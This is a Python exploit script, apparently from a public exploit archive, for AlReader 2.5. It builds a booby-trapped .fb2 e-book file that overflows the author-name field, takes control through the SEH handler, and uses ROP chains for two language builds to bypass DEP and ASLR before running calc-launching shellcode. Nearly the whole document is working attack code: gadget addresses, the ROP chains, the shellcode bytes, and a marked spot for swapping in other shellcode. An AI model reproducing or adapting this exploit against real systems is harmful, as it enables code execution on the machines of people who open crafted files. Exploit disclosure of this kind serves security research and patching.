1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 |
#!/usr/bin/env python #************************************************************************************************************* # Exploit Title:Alreader 2.5 .fb2 SEH Based Stack Overflow (ASLR and DEP bypass) # Date: 25.10.2015 # Category: Local Exploit # Exploit Author: g00dv1n # Contact:g00dv1n.private@gmail.com # Version:2.5 # Tested on:Windows XP SP3 / Windows 7 / Windows 8 # Vendor Homepage:http://www.alreader.com/index.php?lang=en # Software Link (ENG):http://www.alreader.com/download.php?file=AlReader2.Win32.en.zip # Software Link (RU): http://www.alreader.com/download.php?file=AlReader2.Win32.ru.zip # CVE: # Description: # Alreader 2.5 itsfree FB2 reader for Windows. # FB2 format its just XML. FB2 contain <author> <first-name> </first-name></author>block. # Overflow occurs if you create a long name of the author. # App used WCHAR(1 char - 2 bytes ). If we create file in UTF-8 then app turn every single byte into two. # For example 41 41-00 41 00 41 # So We should use UTF-16. # # Also, we can use single null byte in payload. # # # # Instructions: # 1. Run this py script for generate AlReader-fb2-PoC-exploit.fb2 file. # 2. Run Alreader.exe # 3. Open AlReader-fb2-PoC-exploit.fb2 ( FILE -> Open ) # 4. Enjoy running Calc.exe # # Exploit owerview: # For bypass ALSR I used a ROP style. Main module Alreader2.exe non-ALSR. It also contain calls GetModuleHandleW # and GetProcAdress. So using this functions I can get pointer to call VirtualProtect to make stack executable and # run Shellcode. # # At overflow overwritten SEH. So we can control EIP. For this spray Jump Adress in payload # ( It is necessary to adjust the offset in different systems .) # Then to get control of the stack we need ADD to ESP some value. (ADD ESP, 808h). Then ESP will point to ROP NOP # ( It is necessary to adjust the offset in different systems .) # Then the control get ROP chain . # # Program have Russian (RU) and English (Eng) versions. # ROP chains for them the same but different addresses. ( addresses of ADD ESP, 808h and ROP NOP same for all versions ) # For a combination of two versions into one exploit I place two ROP chains one after another. # For RU version then an exception occurs, control passes first ROP chain. (ADD ESP, 808h RETN 4 then ROP NOPs ) # For Eng version after ADD ESP, 808h RETN 4 and ROP NOPsarises yet another exepiton and Call ADD ESP, 808h. # So ESP jump over first ROP chain. ROP NOP correct offset and Second ROP chain for Eng version, get control. # With these tricks, the exploit works correctly for both versions. # # Below is ANSI-diagram of the payload: # #=-------------------------= #|gdvn |just fan magic bytes #|-------------------------| #| | #| jmp from SEH adress |x 500Spray Andress to Jump from oveeride SEH #| |(ADD ESP, 808h RETN 4) #|-------------------------| #| | #|ROP NOP|x 500SprayROP NOP (RETN) #| | #|-------------------------| #| | #|ROP chain for| #| RU version| #| | #|-------------------------| #|SHELLCODE|Run Calc.exe #|-------------------------| #| | #|ROP NOP|x 250 SprayROP NOP (RETN) #| | #|-------------------------| #| | #|ROP chain for| #| ENG version | #| | #|-------------------------| #|SHELLCODE|Run Calc.exe #|-------------------------| #| | #|ROP chain for| #| ENG version | #| | #|-------------------------| #| | #| | #|Junk |'A' x 6000 #| | #| | #=-------------------------= # # # # # #************************************************************************************************************** ####################################################################################################### from struct import * ####################################################################################################### file_result = "AlReader-fb2-PoC-exploit.fb2" ######################################################################################################## fuz_text= ''# init fuzzy string jmp_to= pack('<I',0x00442391 )# 0x00442391 ADD ESP, 808h RETN 4 ret_NOP =pack('<I',0x00448147 ) # RETN ##################################### START CREATE ROP CHAINs ############################################ fuz_text += 'gdvn'# magic init bytes fuz_text += jmp_to * 500# spray adr fuz_text += ret_NOP * 500 # spray RETN adr ####################################### ROP CHAIN FOR RUS VERSION ######################################## # Prepare to call GetModuleHandleW # EDI = GetModuleHandleW adr # ESI = ret adr # EBP = ptr to unicode 'kernel32.dll' ret_adr_after = pack('<I',0x0048ddd1 )# 0x0048ddd1 :# ADD ESP,30 # RETN( this need to correct ESP ) module_handlew_adr = pack('<I',0x004FC8FC ) # 0x004FC8FC GetModuleHandleW adr kernel32_u = pack('<I',0x0560944 )# 0x0560944 ptr to unicode 'kernel32.dll' #0x004904a6 :#POP EDI # POP ESI # POP EBP # POP EBX # RETN fuz_text +=pack('<I',0x004904a6 ) + module_handlew_adr + ret_adr_after + kernel32_u fuz_text +='\x41' *4 fuz_text +=pack('<I',0x004f831c ) # 0x004f831c # ADD ESP,24 # RETN fuz_text +='\x41' *36 fuz_text += pack('<I',0x004b310d )# 0x004b310d :# PUSHAD # RETN fuz_text +='\x41' *28 # correct after ADD ESP,30 #Junk ################################################# fuz_text +=pack('<I',0x004f831c ) # 0x004f831c # ADD ESP,24 # RETN fuz_text +='\x41' *36 ################################################# #EAX = kernel32 base adr # Prepare to call GetProcAdress # EDI = GetProcAdress adr # ESI = ret adr # EBP = kernel32 base adr # ESP = ptr to ANSII 'VirtualProtect00' ret_adr_after = pack('<I',0x0048ddd1 )# 0x0048ddd1 :# ADD ESP,30 # RETN( this need to correct ESP ) get_proc_adr= pack('<I',0x0043C8B2 )# 0x0043C8B2 - GetProcAdress # 0x004904A8 : # POP EDI # POP ESI # POP EBP # POP EBX # RETN fuz_text += pack('<I',0x004904A8 )+ get_proc_adr +ret_adr_after fuz_text +='\x41' *8 fuz_text += pack('<I',0x004b9e9e ) # 0x004b9e9e :# XCHG EAX,EBP # SETE CL # MOV EAX,ECX # RETN fuz_text += pack('<I',0x004b310d ) # 0x004b310d :# PUSHAD # RETN fuz_text += 'VirtualProtect' + '\x00' fuz_text +='\x41' *17# correct ESP pointer ######################################################## # Prepare registrs for Virtual protect call # EDI = ROP NOP # ESI = VirtualProtect adr # EBP = Ret adr # ESP = auto # EBX = 1 # EDX = 0x40 # ECX = lpOldProtect (ptr to W address) # Now in EAX VP adr fuz_text += pack('<I',0x00489cdd )# 0x00489cdd,# PUSH EAX # POP ESI # RETN fuz_text += pack('<I',0x004a6392 )# 0x004a6392,# POP EBX # RETN fuz_text += pack('<I',0x5DE58BD1 )# 0x5DE58BD0,# EBX = 5DE58BD1 fuz_text += pack('<I',0x004e7d31 )# 0x004e7d31,# SUB EBX,5DE58BD0 # RETN # EBX = 1 fuz_text += pack('<I',0x004fc23c )# 0x004fc23c,# XOR EDX,EDX # RETN# EDX = 0 fuz_text += pack('<I',0x0040db04 )* 64# 0x0040db04,# INC EDX # ADD AL,3B # RETN x 64 # EDX = 0x40 fuz_text += pack('<I',0x0048c064 )# 0x0048c064,# POP ECX # RETN fuz_text += pack('<I',0x00629eea )# 0x00629eea,# &Writable location fuz_text += pack('<I',0x00487d6a )# 0x00487d6a,# POP EDI # RETN fuz_text += pack('<I',0x004f4401 )# 0x004f4401,# RETN (ROP NOP) fuz_text += pack('<I',0x004e6379 )# 0x004e6379,# POP EBP # RETN ret_adr_after = pack('<I',0x004f831c )# ret adr#0x004f831c # ADD ESP,24 # RETN fuz_text += ret_adr_after fuz_text+= pack('<I',0x004ecfab ) # 0x004ecfab,# PUSHAD # RETN fuz_text +='\x41' *32 # Correct poiter to ESP fuz_text += pack('<I',0x004a37bd )# 0x004a37bd : # jmp esp fuz_text += '\x90' * 16 # NOP's :-) ##################################### END ROP CHAIN ######################################### ############################################################################################# #PASTE SHELLCODE HERE # Run Calc shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"); fuz_text += shellcode ############################################################################################# fuz_text += ret_NOP * 250 # spray RETN adr ############################################################################################# ############################### ROP CHAIN FOR ENG VERSION ################################### # Prepare to call GetModuleHandleW # EDI = GetModuleHandleW adr # ESI = ret adr # EBP = ptr to unicode 'kernel32.dll' ret_adr_after = pack('<I',0x004cad21 )# 0x004cad21 :# ADD ESP,30 # RETN( this need to correct ESP ) module_handlew_adr = pack('<I',0x004FC85C ) # 0x004FC85C GetModuleHandleW adr kernel32_u = pack('<I',0x00560724 )# 0x00560724ptr to unicode 'kernel32.dll' #0x00488ed6 :# POP EDI # POP ESI # POP EBP # POP EBX # RETN fuz_text +=pack('<I',0x00488ed6 ) + module_handlew_adr + ret_adr_after + kernel32_u fuz_text +='\x41' *4 fuz_text +=pack('<I',0x004a8ee8 ) # 0x004a8ee8 # ADD ESP,24 # RETN fuz_text +='\x41' *36 fuz_text += pack('<I',0x004b3ded )# 0x004b3ded :# PUSHAD # RETN fuz_text +='\x41' *28 # correct after ADD ESP,30 #Junk ################################################# fuz_text +=pack('<I',0x004a8ee8 ) # 0x004a8ee8 # ADD ESP,24 # RETN fuz_text +='\x41' *36 ################################################# #EAX = kernel32 base adr # Prepare to call GetProcAdress # EDI = GetProcAdress adr # ESI = ret adr # EBP = kernel32 base adr # ESP = ptr to ANSII 'VirtualProtect00' ret_adr_after = pack('<I',0x004cad21 )# 0x004cad21 :# ADD ESP,30 # RETN( this need to correct ESP ) get_proc_adr= pack('<I',0x0043C8B2 )# 0x0043C8B2 - GetProcAdress # 0x00488ed6 : # POP EDI # POP ESI # POP EBP # POP EBX # RETN fuz_text += pack('<I',0x00488ed6 )+ get_proc_adr +ret_adr_after fuz_text +='\x41' *8 fuz_text += pack('<I',0x004b9dfe ) # 0x004b9dfe :# XCHG EAX,EBP # SETE CL # MOV EAX,ECX # RETN fuz_text += pack('<I',0x004b3ded ) # 0x004b3ded :# PUSHAD # RETN fuz_text += 'VirtualProtect' + '\x00' fuz_text +='\x41' *17# correct ESP pointer ######################################################## # Prepare registrs for Virtual protect call # EDI = ROP NOP # ESI = VirtualProtect adr # EBP = Ret adr # ESP = auto # EBX = 1 # EDX = 0x40 # ECX = lpOldProtect (ptr to W address) # Now in EAX VP adr fuz_text += pack('<I',0x00489c3d )# 0x00489c3d,# PUSH EAX # POP ESI # RETN fuz_text += pack('<I',0x00481c40 )# 0x00481c40,# POP EBX # RETN fuz_text += pack('<I',0x5DE58BD1 )# 0x5DE58BD0,# EBX = 5DE58BD1 fuz_text += pack('<I',0x004e7c91 )# 0x004e7c91,# SUB EBX,5DE58BD0 # RETN # EBX = 1 fuz_text += pack('<I',0x004fc19c )# 0x004fc19c,# XOR EDX,EDX # RETN fuz_text += pack('<I',0x0040db04 )* 64# 0x0040db04,# INC EDX # ADD AL,3B # RETN x 64 # EDX = 0x40 fuz_text += pack('<I',0x004f39dc )# 0x004f39dc,# POP ECX # RETN fuz_text += pack('<I',0x0062909d )# 0x0062909d,# &Writable location fuz_text += pack('<I',0x00495df4 )# 0x00495df4,# POP EDI # RETN fuz_text += pack('<I',0x00483a02 )# 0x00483a02,# RETN (ROP NOP) fuz_text += pack('<I',0x004fb3c6 )# 0x004fb3c6,# POP EBP # RETN ret_adr_after = pack('<I',0x004a8ee8 )# ret adr#0x004a8ee8 # ADD ESP,24 # RETN fuz_text += ret_adr_after fuz_text+= pack('<I',0x004b3ded ) # 0x004b3ded,# PUSHAD # RETN fuz_text +='\x41' *32 # Correct poiter to ESP fuz_text += pack('<I',0x004757a7)# 0x004757a7: # jmp esp fuz_text += '\x90' * 16 # NOP's :-) fuz_text += shellcode ############################################################################################## fuz_text += '\x41' * 6000 # final junk ################################ GENERATE utf-16 fb2 file #################################### start = ''' <?xml version="1.0" encoding="unicode-utf_16"?> <FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink"> <description> <title-info> <author> <first-name> ''' end = ''' <middle-name/> <last-name/> </author> <book-title>EXPLOIT TEST</book-title> </title-info> </description> </FictionBook> ''' start_u = start.encode('utf-16') end_u = end.encode('utf-16') fout = open(file_result, 'wb') fout.write(start_u) fout.close() fout = open(file_result,'ab') fout.write(fuz_text) fout.close() fout = open(file_result,'ab') fout.write(end_u) fout.close() print "[*] File successfully created !!\n\n" |